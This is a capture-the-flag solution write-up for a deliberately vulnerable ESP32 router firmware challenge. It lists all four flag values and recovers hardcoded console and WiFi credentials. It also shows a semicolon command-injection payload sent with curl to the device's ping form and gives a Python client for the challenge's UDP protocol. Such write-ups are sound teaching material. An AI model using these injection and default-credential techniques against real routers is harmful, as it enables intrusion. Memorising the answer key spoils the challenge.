# Jnouner Router — Solution **Category:** ESP | **Type:** Multi-part (4 flags) | Flag | Name | Points | Flag value | |------|-----------------|--------|-----------------------------------| | 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` | | 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` | | 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` | | 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` | ## Setup Flash the firmware on an ESP32: ```bash esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \ 0x1000 bootloader.bin \ 0x8000 partition-table.bin \ 0x10000 jnouned_router.bin ``` Open the UART console: ```bash screen /dev/ttyUSB0 115200 ``` --- ## Flag 1 — Console Access The UART console shows a `jnoun-console>` prompt. The password is hardcoded in the firmware as three concatenated parts. Read the ELF strings or reverse `build_admin_password()` in `admin.c`: ``` p1 = "jnoun-" p2 = "admin-" p3 = "2022" → password = "jnoun-admin-2022" ``` ```text admin_login jnoun-admin-2022 ``` Flag 1 is printed on success. --- ## Flag 2 — 802.11 TX From the admin console, trigger 802.11 frame emission: ```text settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware) start_emitting ← starts sending raw 802.11 data frames for 90 seconds ``` WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`): - **SSID**: `Jnoun-3E4C` - **PSK**: `LAIN_H4v3_Ajnoun` Put a WiFi card into **monitor mode** and capture the 802.11 frames while the flooder runs. Among random noise frames, one frame (emitted at a random time between 5 and 85 seconds) contains flag 2 in its payload: ```bash airmon-ng start wlan0 tcpdump -i wlan0mon -w capture.pcap # or tshark -i wlan0mon -w capture.pcap ``` Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext in the 802.11 data frame payload. --- ## Flag 3 — Admin Panel Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an HTTP server at `http://192.168.4.1`. Login with default credentials: `admin` / `admin`. The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`. Inject via the `target` field: ```text POST /api/ping target=192.168.1.1; flag ``` Flag 3 is printed to the UART console (`ESP_LOGE` output). Or URL-encoded via curl: ```bash curl -b "auth=1" -X POST http://192.168.4.1/api/ping \ -d "target=x%3B+flag" ``` --- ## Flag 4 — JMP Protocol From the admin panel, trigger the exfiltration session: ```text target=x; start_session ``` The UART console shows: ```text JMP Server listening on UDP:6999 PROTOCOL INITIALIZATION LEAK: Magic: 0x4A4D5021 Auth hash (SHA256): Hint: Secret pattern is JNOUNER_SECRET_XXXX ``` The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash, then request data blocks: ```python import socket, struct, hashlib HOST = "192.168.4.1" PORT = 6999 MAGIC = 0x4A4D5021 SECRET = b"JNOUNER_SECRET_EXFILTRATION" secret_hash = hashlib.sha256(SECRET).digest() # AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32) auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(auth_pkt, (HOST, PORT)) # AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4) resp, _ = sock.recvfrom(1024) magic, ptype, status, token = struct.unpack(">IBBI", resp[:10]) print(f"Token: 0x{token:08x}") # Request all blocks flag = b"" for block_id in range(10): # DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1) req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id) sock.sendto(req, (HOST, PORT)) resp, _ = sock.recvfrom(1024) # DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2) if len(resp) < 8: break _, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8]) data = resp[8:8+dlen] flag += data if bid + 1 >= total: break print(flag.decode()) ``` ## Author Eun0us